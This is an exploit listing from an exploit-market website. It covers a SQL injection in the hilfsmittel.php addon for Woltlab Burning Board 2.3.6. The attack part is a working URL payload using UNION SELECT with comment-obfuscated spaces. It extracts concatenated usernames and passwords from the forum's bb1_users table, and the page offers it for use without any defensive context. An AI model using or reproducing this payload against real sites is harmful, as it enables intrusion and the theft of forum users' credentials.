[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Woltlab Burning Board 2.3.6 Addon (hilfsmittel.php) SQL Injection

Author
Crazyball
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15436
Category
web applications
Date add
22-02-2011
Platform
php
[+] Autor: Crazyball
[+] Vulnerabilities [ SQL Injection ]
[+] Page: http://www.euweb.at/
[+] Language: [ PHP ]
[+] Version: Hilfsmitteldatenbank 1.0
[+] Date: n/a
[+] Vendor: http://www.woltlab.com/de/
 
##########################################################################################
 
[+] Vulnerability
 
 hilfsmittel.php?action=read&katid=
 
 
[+] Exploitable
 
 http://[host]/[path]/hilfsmittel.php?action=read&katid=5'/**/UNION/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10/**/FROM/**/bb1_users/*



#  0day.today [2024-12-24]  #